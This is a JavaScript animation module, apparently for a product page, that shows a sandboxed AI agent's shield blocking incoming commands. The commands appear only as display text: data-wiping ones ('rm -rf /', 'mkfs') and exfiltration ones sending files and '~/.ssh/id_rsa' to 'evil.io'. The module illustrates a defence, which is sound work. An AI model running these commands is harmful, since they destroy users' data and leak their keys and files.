/* 沙箱与网络授权动画 —— 场景式
* 恶意命令从左侧抛物线射向持盾的智能体,撞击盾牌后字符炸开飞散,
* 底部出现拦截说明。两个情节(沙箱/网络)手动切换。
*/
/* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用)
* AnimSandbox.init(container):在容器内建 DOM(情节 tab + 场景 + 说明行),
* 点击 tab 切换情节并从头播放,再次点击重播。
*/
window.AnimSandbox = (function () {
'use strict';
function init(container) {
container.innerHTML =
'
' +
'
' +
'' +
'' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
' +
'
';
var stage = container.querySelector('.anim2-stage');
var defender = container.querySelector('.defender');
var shield = container.querySelector('.defender-shield');
var ring = container.querySelector('.impact-ring');
var caption = container.querySelector('.anim2-caption');
var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim2-tab'));
// 挂载六边形眼睛(眨眼 + 追踪)
if (window.AstrionAvatar) {
AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true });
}
var gen = 0;
function sleep(ms) {
return new Promise(function (r) { setTimeout(r, ms); });
}
async function step(ms, myGen) {
await sleep(ms);
if (myGen !== gen) throw new Error('cancelled');
}
function el(tag, cls, text) {
var e = document.createElement(tag);
if (cls) e.className = cls;
if (text != null) e.textContent = text;
return e;
}
/** rAF 逐帧,返回 false 停止。gen 变了自动停。 */
function eachFrame(fn, myGen) {
return new Promise(function (resolve) {
var last = performance.now();
function tick(now) {
if (myGen !== gen) { resolve(); return; }
var dt = Math.min((now - last) / 1000, 0.05);
last = now;
if (fn(dt) === false) { resolve(); return; }
requestAnimationFrame(tick);
}
requestAnimationFrame(tick);
});
}
function stageRect() { return stage.getBoundingClientRect(); }
/** 盾牌中心(stage 相对坐标) */
function shieldCenter() {
var sr = stageRect();
var r = shield.getBoundingClientRect();
return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left };
}
/* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */
async function fire(cmd, opts, myGen) {
var block = el('div', 'cmd-projectile', cmd);
stage.appendChild(block);
var w = block.offsetWidth;
var h = block.offsetHeight;
var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐
var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同
var shieldC = shieldCenter();
shieldC.y += opts.aim || 0;
var start = { x: 14, y: opts.startY };
var vx = opts.vx;
// 先以出场位粗解发射角 → 定蓄力后拉方向
var Tc0 = (shieldC.x - (start.x + w / 2)) / vx;
var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0;
var rad0 = Math.atan2(vyEst, vx);
var pullDist = 22;
var pullX = start.x - Math.cos(rad0) * pullDist;
var pullY = start.y - Math.sin(rad0) * pullDist;
// 轨迹起点 = 蓄力位
var ox = pullX;
var oy = pullY;
var ocx = ox + w / 2;
var ocy = oy + h / 2;
// 最右字符在块内(未旋转)相对块中心的偏移
var lxLast, lyLast;
if (offsets && offsets.length) {
var lo = offsets[offsets.length - 1];
lxLast = lo.x + lo.w / 2 - w / 2;
lyLast = lo.y + lo.h / 2 - h / 2;
} else {
lxLast = w / 2;
lyLast = 0;
}
// 求解 vy0:让最右字符(不是块中心)精确扫过盾心。
// 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。
var Tc = (shieldC.x - ocx) / vx;
var aimY = shieldC.y;
var vy0 = 0;
var hit = null;
for (var iter = 0; iter < 3; iter++) {
vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc;
var best = { d: 1e9, t: Tc, ang: 0, py: 0 };
for (var t = 0.004; t < 6; t += 0.004) {
var rr = Math.atan2(vy0 + G * t, vx);
var cosR = Math.cos(rr);
var sinR = Math.sin(rr);
var ccx = ocx + vx * t;
var ccy = ocy + vy0 * t + 0.5 * G * t * t;
// 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转
var fx = ccx + lxLast * cosR - lyLast * sinR;
var fy = ccy + lxLast * sinR + lyLast * cosR;
var ddx = fx - shieldC.x;
var ddy = fy - shieldC.y;
var dd = Math.sqrt(ddx * ddx + ddy * ddy);
if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy };
if (fx > shieldC.x + 80) break; // 已飞过盾牌
}
hit = { t: best.t, ang: best.ang };
if (best.d <= 4) break;
aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差
}
var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上)
// 出场:直接在起点摆好仰角
block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(240, myGen);
// 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同)
block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)';
block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)';
await step(460, myGen);
block.style.transition = 'none';
// 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂
var elapsed = 0;
await eachFrame(function (dt) {
elapsed += dt;
if (elapsed >= hit.t) return false;
var px = ox + vx * elapsed;
var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed;
var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3;
block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)';
return true;
}, myGen);
if (myGen !== gen) throw new Error('cancelled');
// 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心
var hitX = ox + vx * hit.t;
var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t;
block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)';
impactFX();
shatter(block, hitX, hitY, hit.ang, w, h, offsets);
}
/* ── 两个情节 ── */
// 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台
function swallowCancel(e) {
if (e && e.message !== 'cancelled') throw e;
}
async function playSandbox(myGen) {
// 三条命令方向/速度/弧度各异:基准中弧线、Windows 快平直弹、慢速高抛
var cmds = [
{ cmd: 'rm -rf /', startY: 118, vx: 250, g: 620, aim: 0 },
{ cmd: 'del /f /s /q C:\\', startY: 84, vx: 420, g: 760, aim: -6 },
{ cmd: 'mkfs /dev/sda1', startY: 152, vx: 200, g: 430, aim: 10 }
];
var jobs = [];
for (var i = 0; i < cmds.length; i++) {
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
await step(780, myGen); // 错落间隔:前一个刚出手,下一个开始蓄力
}
await Promise.all(jobs);
await step(320, myGen);
showCaption('你的文件没有被改动');
}
async function playNetwork(myGen) {
// 三条命令方向/速度/弧度各异;Unix 与 Windows 路径都有
var cmds = [
{ cmd: 'curl -T 数据.zip evil.io', startY: 92, vx: 320, g: 700, aim: -6 },
{ cmd: 'scp ~/.ssh/id_rsa evil.io', startY: 122, vx: 240, g: 560, aim: 2 },
{ cmd: 'curl -T C:\\pw.xlsx evil.io', startY: 152, vx: 190, g: 460, aim: 10 }
];
var jobs = [];
for (var i = 0; i < cmds.length; i++) {
jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel));
await step(880, myGen);
}
await Promise.all(jobs);
await step(320, myGen);
showCaption('数据没有离开这台机器');
}
/* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */
/** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */
function measureChars(block) {
var tn = block.firstChild;
if (!tn || tn.nodeType !== 3) return null;
var br = block.getBoundingClientRect();
var range = document.createRange();
var offsets = [];
for (var i = 0; i < tn.length; i++) {
range.setStart(tn, i);
range.setEnd(tn, i + 1);
var r = range.getBoundingClientRect();
offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height });
}
range.detach();
return offsets;
}
function shatter(block, hitX, hitY, hitAng, w, h, offsets) {
var text = block.textContent;
var rad = hitAng / 57.3;
var cosA = Math.cos(rad);
var sinA = Math.sin(rad);
var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%)
var cy = hitY + h / 2;
block.parentNode.removeChild(block);
var shards = [];
for (var i = 0; i < text.length; i++) {
var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度
var s = el('span', 'cmd-shard', ch);
stage.appendChild(s);
var sw = s.offsetWidth;
var sh = s.offsetHeight;
// 字符中心在块内(未旋转)相对块中心的偏移
var lx, ly;
if (offsets && offsets[i]) {
lx = offsets[i].x + offsets[i].w / 2 - w / 2;
ly = offsets[i].y + offsets[i].h / 2 - h / 2;
} else {
lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2;
ly = 0;
}
// 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它
var rx = cx + lx * cosA - ly * sinA;
var ry = cy + lx * sinA + ly * cosA;
var sx0 = rx - sw / 2;
var sy0 = ry - sh / 2;
var rot0 = hitAng + (Math.random() - 0.5) * 24;
// 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧
s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)';
shards.push({
el: s,
x: sx0,
y: sy0,
vx: -(60 + Math.random() * 200), // 向左回弹
vy: -(120 + Math.random() * 240), // 向上炸开
rot: rot0, // 保持撞击瞬间的角度,加少量随机散开
vr: (Math.random() - 0.5) * 900,
life: 0,
ttl: 0.85 + Math.random() * 0.4
});
}
var g = 980;
eachFrame(function (dt) {
var alive = false;
for (var i = 0; i < shards.length; i++) {
var p = shards[i];
if (p.life >= p.ttl) continue;
alive = true;
p.life += dt;
p.x += p.vx * dt;
p.y += p.vy * dt;
p.vy += g * dt;
p.rot += p.vr * dt;
var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55));
p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)';
p.el.style.opacity = Math.max(0, fade).toFixed(2);
if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el);
}
return alive;
}, gen); // 粒子循环跟当前 gen,切换时自动停
}
function impactFX() {
var c = shieldCenter();
ring.style.left = c.x + 'px';
ring.style.top = c.y + 'px';
ring.classList.remove('is-active');
ring.getBoundingClientRect(); // reflow 重置动画
ring.classList.add('is-active');
defender.classList.remove('is-hit');
defender.getBoundingClientRect();
defender.classList.add('is-hit');
}
function showCaption(noteText) {
caption.appendChild(el('div', 'caption-note', noteText));
}
/* ── 调度 ── */
var PLAYERS = { sandbox: playSandbox, network: playNetwork };
function setActiveTab(mode) {
tabs.forEach(function (t) {
t.classList.toggle('is-active', t.dataset.mode === mode);
});
}
function play(mode) {
gen += 1;
var myGen = gen;
// 清场:飞行块、碎片、说明、冲击环
Array.prototype.slice.call(stage.querySelectorAll('.cmd-projectile, .cmd-shard')).forEach(function (n) {
n.parentNode.removeChild(n);
});
caption.innerHTML = '';
ring.classList.remove('is-active');
defender.classList.remove('is-hit');
setActiveTab(mode);
PLAYERS[mode](myGen).catch(function (e) {
if (e && e.message !== 'cancelled') throw e;
});
}
tabs.forEach(function (t) {
t.addEventListener('click', function () { play(t.dataset.mode); });
});
play('sandbox');
}
return { init: init };
})();